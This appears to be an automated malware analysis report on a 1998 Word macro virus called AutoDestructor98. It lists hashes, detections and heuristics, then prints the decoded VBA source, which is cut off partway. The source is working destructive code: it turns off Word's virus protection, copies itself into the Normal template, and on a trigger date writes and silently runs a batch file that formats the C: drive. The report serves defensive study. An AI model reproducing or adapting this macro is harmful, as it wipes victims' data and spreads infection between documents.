Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2c7da28a7bfae54f…

MALICIOUS

Office (OLE)

63.5 KB Created: 1998-05-12 19:11:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: c48ea13891164250bf6627674a400383 SHA-1: d63d5c9a97af336ffc3e88029073533c932c4f9b SHA-256: 2c7da28a7bfae54fdb03370c21173ecad08ba635cfc3457eaa238bc621f7ee78
320 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains a critical OLE_VBA_SHELL heuristic firing, indicating a Shell() call within the VBA macros. The AutoOpen macro, named 'AutoDestructor98', attempts to execute a batch file located at 'C:\DOS\Boum.bat'. This batch file is designed to format the C: drive, suggesting a destructive intent. The presence of legacy WordBasic macro virus markers and ClamAV detections further support its malicious nature.

Heuristics 6

  • ClamAV: Doc.Trojan.AutoD-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.AutoD-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 23549 bytes
SHA-256: 86a8021ee733d593bb65305e8b1378277729845a9638ca3727e729ee079d3404
Detection
ClamAV: Doc.Trojan.AutoD-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoDestructor98"
Sub AutoExec()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorAE
Dim MyDate
MyDate = Date
D$ = Mid(MyDate, 1, 5)
D1$ = Mid(MyDate, 1, 2)
If D$ = "13/07" Then
    With Application.Assistant
        .Visible = True
    End With
    With Assistant.NewBalloon
        .Text = "Attention, le compte à rebours est lancé..." & Chr$(13) & "Plus que 10 secondes"
        .Heading = "Virus AutoDestructor98"
        .Animation = msoAnimationGetAttentionMajor
        .Button = msoButtonSetOK
        .Show
    End With
StatusBar = "10"
Call CpteAReb
StatusBar = "9"
Call CpteAReb
StatusBar = "8"
Call CpteAReb
StatusBar = "7"
Call CpteAReb
StatusBar = "6"
Call CpteAReb
StatusBar = "5"
Call CpteAReb
StatusBar = "4"
Call CpteAReb
StatusBar = "3"
Call CpteAReb
StatusBar = "2"
Call CpteAReb
StatusBar = "1"
Call CpteAReb
StatusBar = "0"
Open "C:\DOS\Boum.bat" For Output As #1
    Print #1, "@Echo off"
    Print #1, "CLS"
    Print #1, "Echo o|Format C: /u /Autotest"
    Print #1, "Echo y|Format C: /u /Autotest"
    Print #1, "Echo Votre ordinateur s'est autodétruit, HAHAHAHAHA!!!!!"
Close #1
Shell "C:\DOS\Boum.bat", vbHide
BoumBox.Show
End If
If D1$ = "15" Then
    Application.ActiveWindow.Caption = "Les barres de scrollings ont disparu..."
    Application.ActiveWindow.DisplayHorizontalScrollBar = False
    Application.ActiveWindow.DisplayVerticalScrollBar = False
Else
    Application.ActiveWindow.DisplayHorizontalScrollBar = True
    Application.ActiveWindow.DisplayVerticalScrollBar = True
End If
ErrorAE:
End Sub
Sub AutoOpen()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorAO
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
    If WordBasic.[MacroName$](i, 0) = "AutoDestructor98" Then
        AutoDestructor98Installed = -1
    End If
Next i
If Not AutoDestructor98Installed Then
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="AutoDestructor98", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="BoumBox", Object:=wdOrganizerObjectProjectItems
With Application.Assistant
    .Visible = True
End With
With Assistant.NewBalloon
    .Text = "HAHAHAHAHA!!!, votre ordinateur est infecté par un nouveau virus..."
    .Heading = "Virus AutoDestructor98"
    .Animation = msoAnimationGetAttentionMajor
    .Button = msoButtonSetOK
    .Show
End With
End If
ErrorAO:
End Sub
Sub CpteAReb()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorCAR
Dim PauseTime, Start, Finish, TotalTime
    PauseTime = 1   ' Définit la durée.
    Start = Timer   ' Définit l'heure de début.
    Do While Timer < Start + PauseTime
        DoEvents    ' Donne le contrôle à d'autres
                    ' processus.
    Loop
ErrorCAR:
End Sub
Sub FileSaveAs()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorFSA
    Dialogs(wdDialogFileSaveAs).Show
    If ActiveDocument.SaveFormat = wdFormatDocument Or ActiveDocument.SaveFormat = wdFormatTemplate Then
        ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
    End If
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="AutoDestructor98", Object:=wdOrganizerO
... (truncated)